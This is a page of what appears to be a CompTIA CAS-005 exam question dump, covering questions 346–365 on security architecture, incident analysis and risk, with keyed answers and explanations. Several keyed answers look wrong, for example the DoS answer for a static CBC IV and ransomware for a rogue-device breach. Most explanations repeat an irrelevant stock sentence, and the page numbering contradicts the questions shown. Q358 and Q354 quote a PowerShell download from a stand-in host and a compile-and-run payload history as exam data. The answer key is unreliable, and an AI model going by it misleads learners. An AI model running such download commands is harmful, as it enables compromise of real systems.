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CAS-005 β€” questions

Page 18 of 20 Β· 393 total questions.

Topic 1 Β· Question 346

Which of the following mechanisms must a security protocol provide in order for zero-knowledge proofs to work in practical cryptographic applications?

  • AChallenge-response series (correct answer)
  • BShared secret key derivation
  • CMultiparty value splitting
  • DThree-way handshake
Reveal answer & explanation
Correct answer: A

The correct answer is A. Option A: Challenge-response series This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 347

A systems administrator works for an organization that is merging with another one. The systems administrator needs to produce specific reports for the board of directors. Which of the following actions is the board of directors most likely taking?

  • AExercising due diligence
  • BEnforcing a non-disclosure agreement
  • CInvestigating their right of first refusal (correct answer)
  • DPerforming third-party attestations
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Investigating their right of first refusal

Topic 1 Β· Question 348

An engineer sees the following segment while manually integrating legacy code into a modern application: Which of the following functions or expressions should the engineer modify?

Exhibit 1 for question 348
  • ALine [03];String destination[len];
  • BLine [03];char source[20];
  • CLine [04];if (sizeof(source) > 8)
  • DLine [04];Remove if-else clause (correct answer)
  • ELine [05];snprintf (...);
  • FLine [05];memcpy(...);
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Line [04];Remove if-else clause

Topic 1 Β· Question 349

The security team at a hospital has proposed redesigning the lobby to change the orientation of employee monitors in order to prevent patients from seeing anything displayed onscreen. Which of the following concerns is team most likely trying to address?

  • ASituational awareness
  • BSocial engineering
  • CPrivacy
  • DPhysical security (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Physical security This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 350

A Chief Information Security Officer receives the following findings from a third-party risk assessment report: Finding #1: Absence of a risk management process Finding #2: Absence of a formal information security management system Finding #3: Absence of formal procedures to review access Finding #4: Absence of management engagement on monitoring security objectives Which of the following is best for the security team to use when remediating the findings?

  • AIncorporate PCI DSS compliance.
  • BImplement ISO/IEC 27001 standard recommendation.
  • CUse OWASP to implement consistent security testing.
  • DResearch appropriate CIS benchmarks and apply them. (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Research appropriate CIS benchmarks and apply them. This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 351

An organization has a hybrid architecture that requires disparate systems to communicate with one another without a common chain of trust. Which of the following is the best solution?

  • ADeploying a hierarchical access control model
  • BEnabling context-based authentication
  • CUsing microsegmentation between servers
  • DImplementing remote attestation services (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Implementing remote attestation services

Topic 1 Β· Question 352

A compliance manager is planning an engagement to identify risks in the environment. The manager wants to discuss with business unit leaders essential aspects of the engagement that include identifying critical assets and processes as well as potential points of failure. Which of the following would be most relevant to consider during these conversations?

  • ASubprocessor risks
  • BRisk acceptance criteria
  • CRemediation strategies
  • DRisk appetite and tolerance (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Risk appetite and tolerance

Topic 1 Β· Question 353

A security architect wants to configure a mail server so it maintains an updated list of IOCs and blocks known-malicious incoming emails. Which of the following will the security architect most likely need for this task?

  • ALog analyzer
  • BThreat feed API (correct answer)
  • CScheduled task
  • DWebhooks
  • EInbox deletion code
  • FSecurity runbook
Reveal answer & explanation
Correct answer: B

The correct answer is B. Option B: Threat feed API This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 354

A SOC analyst is investigating an event in which a penetration tester was able to successfully create and execute a payload. The analyst pulls the following command history from the affected server: $ uname -a && env $ vim foo.c $ gcc foo.c /tmp/lockfile $ chmod +x /tmp/lockfile $ ./tmp/lockfile Which of the following should the analyst implement to improve the security of the server?

  • AKernel-supported ASLR controls
  • BApplication controls with allow lists (correct answer)
  • COS restrictions of globally writable folders
  • DEDR signatures that terminate specific processes
Reveal answer & explanation
Correct answer: B

The correct answer is B. Option B: Application controls with allow lists This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 355

During a vulnerability assessment, a scan reveals the following finding: Windows Server 2016 Missing hotfix KB87728 - CVSS 3.1 Score: 8.1 [High] - Affected host 172.16.15.2 Later in the review process, the remediation team marks the finding as a false positive. Which of the following is the best way to avoid this issue on future scans?

  • AGetting an up-to-date list of assets from the CMDB
  • BPerforming an authenticated scan on the servers (correct answer)
  • CConfiguring the sensor with an advanced policy for fingerprinting servers
  • DCoordinating the scan execution with the remediation team early in the process
Reveal answer & explanation
Correct answer: B

The correct answer is B. Option B: Performing an authenticated scan on the servers

Topic 1 Β· Question 356 Β· Select all that apply

An architect is securing an external infrastructure to support external services. The following components are in use: β€’ One Kubernetes cluster with multiple pods and nodes for back-end services β€’ Two VM Linux instances as the web tier β€’ One SQL-based database The company only has funding for two controls and must prioritize resilience. Which of the following are the most effective controls for the company to implement to meet this goal? (Choose two.)

  • AAn IAM policies enforced
  • BA RASP to the workload services
  • CA content delivery network (correct answer)
  • DA database firewall on the SQL instance
  • EAn IPS at the web tier
  • FAn application load balancer (correct answer)
Reveal answer & explanation
Correct answer: C, F

The correct answer is C, F. Option C: A content delivery network Option F: An application load balancer

Explanation

A load balancer distributes requests across healthy backends to improve scale and availability. By spanning multiple Availability Zones / adding redundancy, this option provides the high availability and resilience required.

Topic 1 Β· Question 357

A company's headquarters is in an area with a high rate of severe weather. An engineer must update the enterprise architecture to meet the following requirements: β€’ Critical services must remain functional without downtime. β€’ Backups of data and configurations must be securely implemented. β€’ Company workstations must be highly available and remotely reachable. Which of the following solutions is the best way to meet these requirements?

  • ATransition physical resources to virtual resources with standby redundant servers, and install a high capacity, diesel-powered backup generator.
  • BOpen and staff a second data center at least 100 miles away with robust, network-attached storage, and include DAR encryption for offline backups of customer data to enable rapid recovery. (correct answer)
  • CLease a cross-country workspace to support as-needed relocation of staff and equipment, and continuously back up and test VM images with automatic recovery orchestration.
  • DImplement a geographically distributed allocation of physical resources and VDI with continuous replication connected via site-to-site and load-balanced IPSec VPNs.
Reveal answer & explanation
Correct answer: B

The correct answer is B. Option B: Open and staff a second data center at least 100 miles away with robust, network-attached storage, and include DAR encryption for offline backups of customer data to enable rapid recovery.

Explanation

Encryption protects confidentiality by making data unreadable without the appropriate key. By spanning multiple Availability Zones / adding redundancy, this option provides the high availability and resilience required.

Topic 1 Β· Question 358

A security analyst is investigating an EDR alert and notices the following commands from the shell: PS > iwr -uri http://domain.com/happy.jpg -outfile .\important.url The only artifact that the analyst has access to is a network packet capture. Which of the following actions would most likely confirm whether the file is malicious?

  • AReviewing the payload for a digital signature
  • BAcquiring memory from an endpoint for analysis
  • CConfirming that the contents of /etc/passwd were transmitted
  • DObserving MZ in the binary stream header (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Observing MZ in the binary stream header This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 359

A company with a large, cloud-native, e-commerce website wants to know more details about an ongoing, sophisticated attack against the web platform. Which of the following is the best technique?

  • AUser behavior analytics
  • BDark web monitoring
  • CStructured Threat Information exchange
  • DHigh-interaction honeypots (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: High-interaction honeypots

Topic 1 Β· Question 360

A security analyst must design a system infrastructure that aligns to industry best practices and established frameworks. Which of the following should the analyst do first?

  • AEstablish a centralized logging tier.
  • BAssign data labeling and data classification models.
  • CImplement a vulnerability management program.
  • DPerform a gap assessment of the security controls. (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Perform a gap assessment of the security controls. This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 361

A small number but steady series of attempts to breach the network has been occurring over a long period of time. During an investigation, a SOC analyst finds that traffic is exiting the network to known malicious hosts and is originating from a rogue network device. Which of the following attack vectors is most likely being used to breach the network?

  • ASupply chain
  • BBuffer overflow
  • CSocial engineering
  • DRansomware (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Ransomware

Explanation

Ransomware disrupts access by encrypting or stealing data; resilient backups, segmentation, and endpoint controls reduce impact.

Topic 1 Β· Question 362

The following vulnerability was detected during a recent SAST scan of an application that provides an encrypted tunnel between sites: Cipher Block Chaining Initialization Vector must be unpredictable. This vulnerability was found on the following lines of the source code: iv = b"CompTIAIV202512" cipher= Cipher(Algorithms.AES(key), modes.CBC(iv)) Which of the following is the potential impact of this vulnerability?

  • AAn attacker could derive plaintext from the protected data.
  • BAn attacker could predict future key material.
  • CAn attacker could tamper with the value sent in the Initialization Vector variable.
  • DAn attacker could use a DoS by predicting the Initialization Vector and tampering with its value. (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: An attacker could use a DoS by predicting the Initialization Vector and tampering with its value. This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 363

A reverse engineer is analyzing a malware sample from a recent security incident. When debugging and disassembling the code, the engineer finds the following section of the code: Which of the following does this malware try to evade?

Exhibit 1 for question 363
  • AIOC extraction
  • BCode similarity (correct answer)
  • CDynamic analysis
  • DMalware attribution
Reveal answer & explanation
Correct answer: B

The correct answer is B. Option B: Code similarity This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 364

During a penetration test, several users report that certain fileshares on the network could not be accessed. An analyst reviews the network traffic and detects a high number of packets associated with LLMNR and SMB that are being redirected to the penetration tester’s computer. Which of the following attacks is causing the issue?

  • ASMB brute-force
  • BDirectory fuzzing
  • CNTLM relay
  • DNetwork poisoning (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Network poisoning

Topic 1 Β· Question 365

A systems administrator uses an internal AI-based tool to generate code that uses an API to connect to a company service. After testing the code, the systems administrator collects and posts data using the API for the internal system. The Chief Information Security Officer asks a security engineer to review the systems administrator's process. Which of the following should the security engineer do first?

  • ACheck for hard-coded secrets in the application’s source code.
  • BUse prompt-testing methodologies to ensure model security.
  • CReview the effectiveness of the AI tool that the administrator used. (correct answer)
  • DAnalyze the large language model used to generate the output.
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Review the effectiveness of the AI tool that the administrator used. This option keeps traffic private / properly secured as required.

Showing questions 341–360 of 393 Β· Page 18 of 20